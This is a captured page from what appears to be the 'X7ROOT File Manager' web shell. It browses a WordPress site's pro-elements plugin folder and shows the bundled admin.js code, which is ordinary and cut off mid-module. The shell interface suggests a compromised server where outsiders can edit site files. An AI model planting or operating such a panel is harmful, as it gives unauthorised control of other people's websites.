X7ROOT File Manager
Current Path:
/home/oakwood/public_html/wp-content/plugins/pro-elements/assets/js
home
/
oakwood
/
public_html
/
wp-content
/
plugins
/
pro-elements
/
assets
/
js
/
ðŸ“
..
📄
1644e3d37816d939acca.bundle.js
(12.28 KB)
📄
admin.js
(62.31 KB)
📄
admin.min.js
(33.8 KB)
📄
ajax-pagination.2090b5f4906bcda1dcc2.bundle.min.js
(8.81 KB)
📄
ajax-pagination.2390838f542f1a8d5ed4.bundle.js
(11.12 KB)
📄
animated-headline.3eca5f2deb261b97d554.bundle.js
(18.57 KB)
📄
animated-headline.73c41dd605898fe2d075.bundle.min.js
(13.74 KB)
📄
app.js
(317.82 KB)
📄
app.min.js
(94.89 KB)
📄
archive-posts.16a93245d08246e5e540.bundle.min.js
(13.98 KB)
📄
archive-posts.6e398ddd4a81a78bcea3.bundle.js
(21.58 KB)
📄
cafdcd40a3ed0f7a7a4a.bundle.js
(71.93 KB)
📄
carousel.298f1fc9c115422aad0e.bundle.js
(15.99 KB)
📄
carousel.3620fca501cb18163600.bundle.min.js
(10.96 KB)
📄
code-highlight.d4867c919d0858f748df.bundle.js
(7.06 KB)
📄
code-highlight.d86022c8668c4b072592.bundle.min.js
(6.52 KB)
📄
contact-buttons-var-10.0dc9f4c9e85e7c4baa3a.bundle.min.js
(13.74 KB)
📄
contact-buttons-var-10.49a45dadc9c2facb4972.bundle.js
(20.25 KB)
📄
contact-buttons.33ec3b540b7caec4d0f5.bundle.min.js
(19.58 KB)
📄
contact-buttons.6f0dc663eb685c187fea.bundle.js
(29.05 KB)
📄
countdown.0e9e688751d29d07a8d3.bundle.min.js
(8.69 KB)
📄
countdown.6e87ca40d36793d92aea.bundle.js
(10.89 KB)
📄
custom-code.js
(182.08 KB)
📄
custom-code.min.js
(47.73 KB)
📄
display-conditions.js
(252.18 KB)
📄
display-conditions.min.js
(83.55 KB)
📄
e3f4acef69f217322320.bundle.min.js
(9.3 KB)
📄
e8eba20060a4b0fa29dc.bundle.js
(18.17 KB)
📄
editor.js
(385.19 KB)
📄
editor.min.js
(155.95 KB)
📄
elements-handlers.js
(119.54 KB)
📄
elements-handlers.min.js
(49.64 KB)
📄
f6214a79e4b78ec016e6.bundle.min.js
(28.13 KB)
📄
f6214a79e4b78ec016e6.bundle.min.js.LICENSE.txt
(188 B)
📄
floating-bars-var-2.1a487dc027431fb485cd.bundle.min.js
(20.27 KB)
📄
floating-bars-var-2.c6f25c32db86d04f5e8b.bundle.js
(18.87 KB)
📄
floating-bars-var-3.6cef001471f04cdb931e.bundle.js
(18.76 KB)
📄
floating-bars-var-3.acd1ad79ebb515e353c9.bundle.min.js
(19.76 KB)
📄
form-submission-admin.js
(355.04 KB)
📄
form-submission-admin.min.js
(108.31 KB)
📄
form.16e51aca8a5ca0d38ae6.bundle.js
(39.84 KB)
📄
form.ae7f04a9f3cbc167835c.bundle.min.js
(25.26 KB)
📄
frontend.js
(59.29 KB)
📄
frontend.min.js
(29.7 KB)
📄
gallery.1628df47530ab42dafba.bundle.min.js
(11.9 KB)
📄
gallery.b7d55bc976e04f751975.bundle.js
(15.55 KB)
📄
gutenberg-woocommerce-notice.js
(94.17 KB)
📄
gutenberg-woocommerce-notice.min.js
(23.74 KB)
📄
hotspot.d513dd152bf605a2ffbf.bundle.js
(10.95 KB)
📄
hotspot.fa04300164c35a866a51.bundle.min.js
(8.82 KB)
📄
jszip.vendor.a3c65615c1de5560962d.bundle.js
(101.7 KB)
📄
jszip.vendor.eba4ace24dcc63eadac0.bundle.min.js
(101.94 KB)
📄
jszip.vendor.eba4ace24dcc63eadac0.bundle.min.js.LICENSE.txt
(383 B)
📄
load-more.8b46f464e573feab5dd7.bundle.min.js
(11.28 KB)
📄
load-more.f5ecc1c66872d0bd2d17.bundle.js
(15.5 KB)
📄
loop-carousel.5108cb72ebb124297adb.bundle.js
(8.83 KB)
📄
loop-carousel.f8067ec0c24b628c786e.bundle.min.js
(7.39 KB)
📄
loop-filter-editor.46a4c013b80a381a50c9.bundle.js
(13.08 KB)
📄
loop-filter-editor.67dfa5d044d7bd86bd6f.bundle.min.js
(9.33 KB)
📄
loop.4a16d82b8b5e3e00f25e.bundle.min.js
(15.21 KB)
📄
loop.da94e53412e56933f721.bundle.js
(23.34 KB)
📄
lottie.a02a01f29c0733918ac7.bundle.js
(30.47 KB)
📄
lottie.e74a53bfa4c0bd939250.bundle.min.js
(20.13 KB)
📄
media-carousel.04412cb9b4479aa37408.bundle.js
(19.11 KB)
📄
media-carousel.afbaabb756a7c18ddb09.bundle.min.js
(12.9 KB)
📄
mega-menu-editor.a0c405b93f24b0011f86.bundle.js
(25.5 KB)
📄
mega-menu-editor.d6c0f51481d860b12bb7.bundle.min.js
(14.53 KB)
📄
mega-menu-stretch-content.0d76e4a3b7bf65ff6f9b.bundle.js
(7.88 KB)
📄
mega-menu-stretch-content.480e081cebe071d683e8.bundle.min.js
(7.16 KB)
📄
mega-menu.e0e1bc5d62782bbd77a6.bundle.min.js
(33.46 KB)
📄
mega-menu.e2d6b6d5ad4a5e078bae.bundle.js
(56.35 KB)
📄
menu-title-keyboard-handler.070cb9cb3c4f1f016388.bundle.min.js
(13.49 KB)
📄
menu-title-keyboard-handler.ad6efd6a78bf25450d5a.bundle.js
(17.99 KB)
📄
nav-menu.a23fbd67486c5bedf26c.bundle.min.js
(11.22 KB)
📄
nav-menu.e135a0d0f766c7f455ff.bundle.js
(15.14 KB)
📄
nested-carousel-editor.0df35e0e1a284d4bd18b.bundle.js
(7.9 KB)
📄
nested-carousel-editor.6d7500036d0766bbe2fc.bundle.min.js
(6.67 KB)
📄
nested-carousel.adf1d39e8be72ec094f0.bundle.js
(13.52 KB)
📄
nested-carousel.d08a5094d95215833b5c.bundle.min.js
(9.81 KB)
ðŸ“
notes
📄
off-canvas-editor.3bc6e394bd20d4fd64dc.bundle.min.js
(8.7 KB)
📄
off-canvas-editor.d20b8e528d36b21a024c.bundle.js
(12.49 KB)
📄
off-canvas.02e30e192bc782084e8a.bundle.js
(16.82 KB)
📄
off-canvas.41d355285c19e4440547.bundle.min.js
(12.84 KB)
ðŸ“
packages
📄
page-transitions.js
(121.11 KB)
📄
page-transitions.min.js
(38 KB)
📄
paypal-button.55ffb013a3fe565f55a5.bundle.js
(7.6 KB)
📄
paypal-button.f4f64e46173f50701949.bundle.min.js
(6.91 KB)
📄
popup.996738ad83c089bcc0b9.bundle.js
(7.57 KB)
📄
popup.f7b15b2ca565b152bf98.bundle.min.js
(6.79 KB)
📄
portfolio.4cd5da34009c30cb5d70.bundle.min.js
(13.16 KB)
📄
portfolio.5727b56368be256d0893.bundle.js
(18.75 KB)
📄
posts.aec59265318492b89cb5.bundle.min.js
(9.3 KB)
📄
posts.e99f84b83c36d4568ffe.bundle.js
(11.86 KB)
📄
preview.js
(97.24 KB)
📄
preview.min.js
(25.12 KB)
📄
product-add-to-cart.51a22e1fbd8f914ab3d5.bundle.min.js
(9.48 KB)
📄
product-add-to-cart.d5883897e035f9c53c5e.bundle.js
(13.23 KB)
📄
progress-tracker.8cccdda9737c272489fc.bundle.min.js
(11.17 KB)
📄
progress-tracker.fd1d31a26340ed74e10a.bundle.js
(15.27 KB)
📄
qunit-tests.js
(8.84 KB)
📄
qunit-tests.min.js
(6.34 KB)
📄
screenshot.js
(17.79 KB)
📄
screenshot.min.js
(11.82 KB)
📄
search-form.8941aba5c12cdb05fb7c.bundle.js
(10.46 KB)
📄
search-form.b7065999d77832a1b764.bundle.min.js
(8.13 KB)
📄
search.3db30c59360e14bb4448.bundle.min.js
(19.27 KB)
📄
search.5c7852be6fc67209b3a8.bundle.js
(26.66 KB)
📄
share-buttons.63d984f8c96d1e053bc0.bundle.min.js
(7.6 KB)
📄
share-buttons.fda49c1691f4a352c7ef.bundle.js
(10.33 KB)
📄
slides.bcd16bbde90338846bd7.bundle.js
(13.45 KB)
📄
slides.c0029640cbdb48199471.bundle.min.js
(9.89 KB)
📄
social.ac16c075939dcb93f70c.bundle.js
(8 KB)
📄
social.f215e8a3efafbdbeb7ef.bundle.min.js
(7.06 KB)
📄
stripe-button.61d93594d6b7865f8b3f.bundle.min.js
(8.03 KB)
📄
stripe-button.cf3f67d6b95e0138bb6b.bundle.js
(10.24 KB)
📄
table-of-contents.8d46d3a531c49309b7eb.bundle.js
(21.8 KB)
📄
table-of-contents.99a74eec7252759bebdb.bundle.min.js
(14.23 KB)
📄
taxonomy-filter.ce05524d53c2d4c5aa24.bundle.js
(21.84 KB)
📄
taxonomy-filter.e839f2be32b7ea832b34.bundle.min.js
(13.55 KB)
📄
video-playlist.9e1bbc4fcb37864c89d6.bundle.js
(55.07 KB)
📄
video-playlist.af20fd9fd8778929829e.bundle.min.js
(28.21 KB)
📄
webpack-pro.runtime.js
(22.44 KB)
📄
webpack-pro.runtime.min.js
(12.18 KB)
📄
woocommerce-cart.79b5dc500681930471c6.bundle.js
(16.58 KB)
📄
woocommerce-cart.d0d01530f5be6736b5d2.bundle.min.js
(11.14 KB)
📄
woocommerce-checkout-page.10d97c3a8cb77aebc1bf.bundle.js
(17.76 KB)
📄
woocommerce-checkout-page.776b4cec45070fe32636.bundle.min.js
(12.42 KB)
📄
woocommerce-menu-cart.81f5bafc26b94cc86238.bundle.js
(14.77 KB)
📄
woocommerce-menu-cart.eb61fe086245485310a4.bundle.min.js
(10.68 KB)
📄
woocommerce-my-account.4e940a8b4a52d1c98c5c.bundle.min.js
(12.14 KB)
📄
woocommerce-my-account.7a9d36b2c12b970c6616.bundle.js
(17.42 KB)
📄
woocommerce-notices.bcee9b5e1c8f65ac7927.bundle.min.js
(7.95 KB)
📄
woocommerce-notices.ee407e8319d2ee060119.bundle.js
(9.1 KB)
📄
woocommerce-purchase-summary.3676ccd8c29ef0924b84.bundle.min.js
(9.48 KB)
📄
woocommerce-purchase-summary.c8767542fa302a7f351f.bundle.js
(13.39 KB)
Editing: admin.js
/*! pro-elements - v3.26.0 - 17-12-2024 */ /******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ "../license/assets/js/admin.js": /*!*************************************!*\ !*** ../license/assets/js/admin.js ***! \*************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class Module extends elementorModules.Module { #actionLinks = [{ href: 'elementor_pro_renew_license_menu_link', external_url: 'https://go.elementor.com/wp-menu-renew/' }, { href: 'elementor_pro_upgrade_license_menu_link', external_url: 'https://go.elementor.com/go-pro-advanced-elementor-menu/' }]; onInit() { this.assignMenuItemActions(); } assignMenuItemActions() { window.addEventListener('DOMContentLoaded', () => { this.#actionLinks.forEach(item => { const link = document.querySelector(`a[href="${item.href}"]`); if (!link) { return; } link.addEventListener('click', e => { e.preventDefault(); window.open(item.external_url, '_blank'); }); }); }); } } exports["default"] = Module; /***/ }), /***/ "../modules/assets-manager/assets/js/admin.js": /*!****************************************************!*\ !*** ../modules/assets-manager/assets/js/admin.js ***! \****************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); var _elementorFontManager = _interopRequireDefault(__webpack_require__(/*! ./admin/elementor-font-manager */ "../modules/assets-manager/assets/js/admin/elementor-font-manager.js")); var _elementorCustomIcons = _interopRequireDefault(__webpack_require__(/*! ./admin/elementor-custom-icons */ "../modules/assets-manager/assets/js/admin/elementor-custom-icons.js")); module.exports = function () { const TypekitAdmin = __webpack_require__(/*! ./admin/typekit */ "../modules/assets-manager/assets/js/admin/typekit.js"), CustomIcon = _elementorCustomIcons.default, FontAwesomeProAdmin = (__webpack_require__(/*! ./admin/font-awesome-pro */ "../modules/assets-manager/assets/js/admin/font-awesome-pro.js")["default"]); this.fontManager = new _elementorFontManager.default(); this.typekit = new TypekitAdmin(); this.fontAwesomePro = new FontAwesomeProAdmin(); this.customIcons = new CustomIcon(); }; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/custom-assets-base.js": /*!***********************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/custom-assets-base.js ***! \***********************************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class CustomAssetsBase extends elementorModules.ViewModule { showAlertDialog(id, message) { let onConfirm = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; let onHide = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : false; const alertData = { id, message }; if (onConfirm) { alertData.onConfirm = onConfirm; } if (onHide) { alertData.onHide = onHide; } // Save the instance of the alert dialog to check for its visibility later if (!this.alertWidget) { this.alertWidget = elementorCommon.dialogsManager.createWidget('alert', alertData); } this.alertWidget.show(); } onDialogDismiss() { // WP's publish button gets a disabled class on submit attempt this.elements.$publishButton.removeClass('disabled'); // Prevent WP's publish spinner from appearing on publish attempt this.elements.$publishButtonSpinner.removeClass('is-active'); } handleSubmit(event) { // If we know there is a file already, return to continue submission normally if (this.fileWasUploaded) { return; } const hasValue = this.checkInputsForValues(); // Method exists in the child classes // If the file input is not empty, continue the submission process if (hasValue) { this.fileWasUploaded = true; this.elements.$postForm.trigger('submit'); return; } event.preventDefault(); // Prevent new asset submission // If no value was found, stop submission and display a notice modal this.showAlertDialog('noData', this.getSettings('notice'), () => this.onDialogDismiss(), // OnConfirm () => this.onDialogDismiss() // OnHide ); return false; } bindEvents() { this.elements.$postForm.on('submit', this.handleSubmit.bind(this)); } } var _default = exports["default"] = CustomAssetsBase; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/elementor-custom-icons.js": /*!***************************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/elementor-custom-icons.js ***! \***************************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; /* provided dependency */ var __ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n")["__"]; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _customAssetsBase = _interopRequireDefault(__webpack_require__(/*! ./custom-assets-base */ "../modules/assets-manager/assets/js/admin/custom-assets-base.js")); var _elementorProDropzone = _interopRequireDefault(__webpack_require__(/*! ./fields/elementor-pro-dropzone */ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-dropzone.js")); class CustomIcons extends _customAssetsBase.default { getDefaultSettings() { return { fields: { dropzone: _elementorProDropzone.default }, classes: { editPageClass: 'post-type-elementor_icons', editPhp: 'edit-php', hasIcons: 'elementor--has-icons' }, selectors: { editPageClass: 'post-type-elementor_icons', title: '#title', metaboxContainer: '#elementor-custom-icons-metabox', metabox: '.elementor-custom-icons-metabox', closeHandle: 'button.handlediv', iconsTemplate: '#elementor-icons-template', dataInput: '#elementor_custom_icon_set_config', dropzone: '.zip_upload', submitDelete: '.submitdelete', dayInput: '#hidden_jj', mmInput: '#hidden_mm', yearInput: '#hidden_aa', hourInput: '#hidden_hh', minuteInput: '#hidden_mn', publishButton: '#publish', publishButtonSpinner: '#publishing-action > .spinner', submitMetabox: '#postbox-container-1', postForm: '#post', fileInput: '#zip_upload', iconSetConfigInput: '#elementor_custom_icon_set_config' }, templates: { icon: '<li><div class="icon"><i class="{{icon}}"></i><div class="icon-name">{{label}}</div></div></li>', header: jQuery('#elementor-custom-icons-template-header').html(), footer: jQuery('#elementor-custom-icons-template-footer').html(), duplicatePrefix: jQuery('#elementor-custom-icons-template-duplicate-prefix').html() }, notice: __('Upload an icon set to publish.', 'elementor-pro') }; } getDefaultElements() { const elements = {}, selectors = this.getSettings('selectors'); jQuery.each(selectors, (element, selector) => { elements['$' + element] = jQuery(selector); }); return elements; } bindEvents() { super.bindEvents(); if ('' !== this.getData()) { this.bindOnTitleChange(); } } bindOnTitleChange() { const { $title } = this.elements, onTitleInput = event => this.onTitleInput(event); $title.on('input change', onTitleInput); } removeCloseHandle() { const { $metaboxContainer } = this.elements; $metaboxContainer.find('h2').remove(); $metaboxContainer.find('button').remove(); $metaboxContainer.removeClass('closed').removeClass('postbox'); } prepareIconName(icon) { const iconName = icon.replace('_', ' ').replace('-', ' '); return elementorCommon.helpers.upperCaseWords(iconName); } getCreatedOn() { const { $dayInput, $mmInput, $yearInput, $hourInput, $minuteInput } = this.elements; return { day: $dayInput.val(), mm: $mmInput.val(), year: $yearInput.val(), hour: $hourInput.val(), minute: $minuteInput.val() }; } enqueueCSS(url) { if (!elementorCommon.elements.$document.find('link[href="' + url + '"]').length) { elementorCommon.elements.$document.find('link').last().after('<link href="' + url + '" rel="stylesheet" type="text/css">'); } } setData(data) { this.elements.$dataInput.val(JSON.stringify(data)); } getData() { const value = this.elements.$dataInput.val(); return '' === value ? '' : JSON.parse(value); } renderIconList(config) { const iconTemplate = this.getSettings('templates.icon'); return config.icons.map(icon => { const data = { icon: config.displayPrefix + ' ' + config.prefix + icon, label: this.prepareIconName(icon) }; return elementorCommon.compileTemplate(iconTemplate, data); }).join('\n'); } renderIcons(config) { const { $metaboxContainer, $metabox, $submitMetabox } = this.elements; const { header, footer } = this.getSettings('templates'); $metaboxContainer.addClass(this.getSettings('classes.hasIcons')); $submitMetabox.show(); this.setData(config); this.enqueueCSS(config.url); $metabox.html(''); $metaboxContainer.prepend(elementorCommon.compileTemplate(header, config)); $metabox.append('<ul>' + this.renderIconList(config) + '</ul>'); $metaboxContainer.append(elementorCommon.compileTemplate(footer, this.getCreatedOn())); } onTitleInput(event) { const data = this.getData(); data.label = event.target.value; this.setData(data); } checkInputsForValues() { // If creating new icon set - check the file input for a value // If editing an existing icon set - check the icon set config input for a value if ('' !== this.elements.$fileInput.val() || '' !== this.elements.$iconSetConfigInput.val()) { return true; } return false; } onSuccess(data) { // It is possible to add a `dropzoneElement` param to this method for implementing upload progress bar if (data.data.errors) { let id, message; jQuery.each(data.data.errors, (errorId, errorMessage) => { id = errorId; message = errorMessage; return false; }); return this.showAlertDialog(id, message); } if (data.data.config.duplicate_prefix) { delete data.data.config.duplicatePrefix; return this.showAlertDialog('duplicate-prefix', this.getSettings('templates.duplicatePrefix'), () => this.saveInitialUpload(data.data.config)); } this.saveInitialUpload(data.data.config); } saveInitialUpload(config) { this.setData(config); const { $publishButton, $title, $submitMetabox } = this.elements; $submitMetabox.show(); if ('' === $title.val()) { $title.val(config.name); } this.fileWasUploaded = true; // Flag to prevent infinite loop in the handleSubmit() method $publishButton.trigger('click'); } onInit() { var _this = this; const { $body } = elementorCommon.elements, { editPageClass, editPhp } = this.getSettings('classes'); if (!$body.hasClass(editPageClass) || $body.hasClass(editPhp)) { return; } super.onInit(); this.removeCloseHandle(); const dropzoneFieldClass = this.getSettings('fields.dropzone'), dropzoneField = new dropzoneFieldClass(), config = this.getData(), { $dropzone, $metaboxContainer } = this.elements; if ('' === config) { $dropzone.show('fast'); dropzoneField.setSettings('onSuccess', function () { return _this.onSuccess(...arguments); }); } else { this.renderIcons(config); } $metaboxContainer.show('fast'); } } var _default = exports["default"] = CustomIcons; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/elementor-font-manager.js": /*!***************************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/elementor-font-manager.js ***! \***************************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; /* provided dependency */ var __ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n")["__"]; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _customAssetsBase = _interopRequireDefault(__webpack_require__(/*! ./custom-assets-base */ "../modules/assets-manager/assets/js/admin/custom-assets-base.js")); var _elementorProUpload = _interopRequireDefault(__webpack_require__(/*! ./fields/elementor-pro-upload */ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-upload.js")); var _elementorProRepeater = _interopRequireDefault(__webpack_require__(/*! ./fields/elementor-pro-repeater */ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-repeater.js")); class CustomFontsManager extends _customAssetsBase.default { getDefaultSettings() { return { fields: { upload: _elementorProUpload.default, repeater: _elementorProRepeater.default }, selectors: { editPageClass: 'post-type-elementor_font', title: '#title', repeaterBlock: '.repeater-block', repeaterTitle: '.repeater-title', removeRowBtn: '.remove-repeater-row', editRowBtn: '.toggle-repeater-row', closeRowBtn: '.close-repeater-row', styleInput: '.font_style', weightInput: '.font_weight', customFontsMetaBox: '#elementor-font-custommetabox', closeHandle: 'button.handlediv', toolbar: '.elementor-field-toolbar', inlinePreview: '.inline-preview', fileUrlInput: '.elementor-field-file input[type="text"]', postForm: '#post', publishButton: '#publish', publishButtonSpinner: '#publishing-action > .spinner' }, notice: __('Choose a font to publish.', 'elementor-pro'), fontLabelTemplate: '<ul class="row-font-label">' + '<li class="row-font-weight">{{weight}}</li>' + '<li class="row-font-style">{{style}}</li>' + '<li class="row-font-preview">{{preview}}</li>' + '{{toolbar}}' + '</ul>' }; } getDefaultElements() { const selectors = this.getSettings('selectors'); return { $postForm: jQuery(selectors.postForm), $publishButton: jQuery(selectors.publishButton), $publishButtonSpinner: jQuery(selectors.publishButtonSpinner), $closeHandle: jQuery(selectors.closeHandle), $customFontsMetaBox: jQuery(selectors.customFontsMetaBox), $title: jQuery(selectors.title) }; } renderTemplate(tpl, data) { const re = /{{([^}}]+)?}}/g; let match; while (match = re.exec(tpl)) { // eslint-disable-line no-cond-assign tpl = tpl.replace(match[0], data[match[1]]); } return tpl; } ucFirst(string) { return string.charAt(0).toUpperCase() + string.slice(1); } getPreviewStyle($table) { const selectors = this.getSettings('selectors'), fontFamily = this.elements.$title.val(), style = $table.find('select' + selectors.styleInput).first().val(), weight = $table.find('select' + selectors.weightInput).first().val(); return { style: this.ucFirst(style), weight: this.ucFirst(weight), styleAttribute: 'font-family: ' + fontFamily + ' ;font-style: ' + style + '; font-weight: ' + weight + ';' }; } updateRowLabel(event, $table) { const selectors = this.getSettings('selectors'), fontLabelTemplate = this.getSettings('fontLabelTemplate'), $block = $table.closest(selectors.repeaterBlock), $deleteBtn = $block.find(selectors.removeRowBtn).first(), $editBtn = $block.find(selectors.editRowBtn).first(), $closeBtn = $block.find(selectors.closeRowBtn).first(), $toolbar = $table.find(selectors.toolbar).last().clone(), previewStyle = this.getPreviewStyle($table); if ($editBtn.length > 0) { $editBtn.not(selectors.toolbar + ' ' + selectors.editRowBtn).remove(); } if ($closeBtn.length > 0) { $closeBtn.not(selectors.toolbar + ' ' + selectors.closeRowBtn).remove(); } if ($deleteBtn.length > 0) { $deleteBtn.not(selectors.toolbar + ' ' + selectors.removeRowBtn).remove(); } const toolbarHtml = jQuery('<li class="row-font-actions">').append($toolbar)[0].outerHTML; return this.renderTemplate(fontLabelTemplate, { weight: '<span class="label">Weight:</span>' + previewStyle.weight, style: '<span class="label">Style:</span>' + previewStyle.style, preview: '<span style="' + previewStyle.styleAttribute + '">Elementor is making the web beautiful</span>', toolbar: toolbarHtml }); } onRepeaterToggleVisible(event, $btn, $table) { const selectors = this.getSettings('selectors'), $previewElement = $table.find(selectors.inlinePreview), previewStyle = this.getPreviewStyle($table); $previewElement.attr('style', previewStyle.styleAttribute); } onRepeaterNewRow(event, $btn, $block) { const selectors = this.getSettings('selectors'); $block.find(selectors.removeRowBtn).first().remove(); $block.find(selectors.editRowBtn).first().remove(); $block.find(selectors.closeRowBtn).first().remove(); } maybeToggle(event) { event.preventDefault(); const selectors = this.getSettings('selectors'); if (jQuery(this).is(':visible') && !jQuery(event.target).hasClass(selectors.editRowBtn)) { jQuery(this).find(selectors.editRowBtn).trigger('click'); } } onInputChange(event) { const $el = jQuery(event.target).next(), fields = this.getSettings('fields'); fields.upload.setFields($el); fields.upload.setLabels($el); fields.upload.replaceButtonClass($el); } bindEvents() { const selectors = this.getSettings('selectors'); jQuery(document).on('repeaterComputedLabel', this.updateRowLabel.bind(this)).on('onRepeaterToggleVisible', this.onRepeaterToggleVisible.bind(this)).on('onRepeaterNewRow', this.onRepeaterNewRow.bind(this)).on('click', selectors.repeaterTitle, this.maybeToggle.bind(this)).on('input', selectors.fileUrlInput, this.onInputChange.bind(this)); super.bindEvents(); } checkInputsForValues() { const selectors = this.getSettings('selectors'); let hasValue = false; // Check the file inputs for a value jQuery(selectors.fileUrlInput).each((index, element) => { if ('' !== jQuery(element).val()) { hasValue = true; return false; // If a value was found, break the loop } }); return hasValue; } removeCloseHandle() { this.elements.$closeHandle.remove(); this.elements.$customFontsMetaBox.removeClass('closed').removeClass('postbox'); } titleRequired() { this.elements.$title.prop('required', true); } onInit() { const settings = this.getSettings(); if (!jQuery('body').hasClass(settings.selectors.editPageClass)) { return; } super.onInit(...arguments); this.removeCloseHandle(); this.titleRequired(); settings.fields.upload.init(); settings.fields.repeater.init(); const $document = jQuery(document); const markMetaboxIfVariableFont = this.markMetaboxIfVariableFont.bind(this); jQuery('#add-variable-font').on('click', () => { jQuery(document).one('onRepeaterNewRow', (event, $repeaterBtn, $repeaterBlock) => { $repeaterBlock.find('input[name$="font_type]"]').val('variable'); markMetaboxIfVariableFont(); }); jQuery('#elementor-font-custommetabox').find('.add-repeater-row').trigger('click'); }); $document.on('onRepeaterNewRow', markMetaboxIfVariableFont); $document.on('onRepeaterRemoveRow', markMetaboxIfVariableFont); $document.on('change', 'input[name$="variable_width]"], input[name$="variable_weight]"]', this.onFontVariableTypeChange); markMetaboxIfVariableFont(); } markMetaboxIfVariableFont() { const $fontType = jQuery('input[name$="font_type]"]'); const $metaboxContent = jQuery('.elementor-metabox-content'); $metaboxContent.removeClass('has-font-variable has-font-static'); if (!$fontType.length) { return; } const hasVariableRow = 'variable' === $fontType.val(); if (hasVariableRow) { $metaboxContent.addClass('has-font-variable', hasVariableRow); } else { $metaboxContent.addClass('has-font-static'); } jQuery('input[name$="variable_width]"], input[name$="variable_weight]"]').each(this.onFontVariableTypeChange); } onFontVariableTypeChange() { const $this = jQuery(this); const wrapDiv = $this.parents().eq(1); wrapDiv.toggleClass('e-font-variable-hidden', !$this.is(':checked')); } } exports["default"] = CustomFontsManager; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-dropzone.js": /*!**********************************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/fields/elementor-pro-dropzone.js ***! \**********************************************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class DropZoneField extends elementorModules.ViewModule { getDefaultSettings() { const baseSelector = '.elementor-dropzone-field'; return { droppedFiles: false, selectors: { dropZone: baseSelector, input: baseSelector + ' [type="file"]', label: baseSelector + 'label', errorMsg: baseSelector + '.box__error span', restart: baseSelector + '.box__restart', browseButton: baseSelector + ' .elementor--dropzone--upload__browse', postId: '#post_ID' }, classes: { drag: 'is-dragover', error: 'is-error', success: 'is-success', upload: 'is-uploading' }, onSuccess: null, onError: null }; } getDefaultElements() { const elements = {}; const selectors = this.getSettings('selectors'); jQuery.each(selectors, (element, selector) => { elements['$' + element] = jQuery(selector); }); return elements; } bindEvents() { const { $dropZone, $browseButton, $input } = this.elements; const { drag } = this.getSettings('classes'); $browseButton.on('click', () => $input.trigger('click')); $dropZone.on('drag dragstart dragend dragover dragenter dragleave drop', event => { event.preventDefault(); event.stopPropagation(); }).on('dragover dragenter', () => { $dropZone.addClass(drag); }).on('dragleave dragend drop', () => { $dropZone.removeClass(drag); }).on('drop change', event => { if ('change' === event.type) { this.setSettings('droppedFiles', event.originalEvent.target.files); } else { this.setSettings('droppedFiles', event.originalEvent.dataTransfer.files); } this.handleUpload(); }); } handleUpload() { const droppedFiles = this.getSettings('droppedFiles'); if (!droppedFiles) { return; } const { $input, $dropZone, $postId, $errorMsg } = this.elements, { error, success, upload } = this.getSettings('classes'), { onSuccess, onError } = this.getSettings(), ajaxData = new FormData(), fieldName = $input.attr('name'), actionKey = 'pro_assets_manager_custom_icon_upload', self = this; Object.entries(droppedFiles).forEach(file => { ajaxData.append(fieldName, file[1]); }); ajaxData.append('actions', JSON.stringify({ pro_assets_manager_custom_icon_upload: { action: actionKey, data: { post_id: $postId.val() } } })); $dropZone.removeClass(success).removeClass(error); elementorCommon.ajax.send('ajax', { data: ajaxData, cache: false, enctype: 'multipart/form-data', contentType: false, processData: false, // TODO: Do something with upload progress /* xhr: () => { const xhr = jQuery.ajaxSettings.xhr(); xhr.upload.onprogress = ( evt ) => { if ( evt.lengthComputable ) { const percentComplete = Math.round( ( evt.loaded * 100 / evt.total ) ); } }; return xhr; },*/ complete: () => { $dropZone.removeClass(upload); }, success: response => { const data = response.responses[actionKey]; $dropZone.addClass(data.success ? success : error); if (data.success) { if (onSuccess) { onSuccess(data, self); } } else { $errorMsg.text(data.error); if (onError) { onError(self, arguments); } } }, error: () => { if ('function' === typeof onError) { onError(self, arguments); } } }); } onInit() { super.onInit(); elementorCommon.elements.$document.trigger('onDropzoneLoaded', [this]); } } var _default = exports["default"] = DropZoneField; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-repeater.js": /*!**********************************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/fields/elementor-pro-repeater.js ***! \**********************************************************************************/ /***/ ((module) => { "use strict"; module.exports = { selectors: { add: '.add-repeater-row', remove: '.remove-repeater-row', toggle: '.toggle-repeater-row', close: '.close-repeater-row', sort: '.sort-repeater-row', table: '.form-table', block: '.repeater-block', repeaterLabel: '.repeater-title', repeaterField: 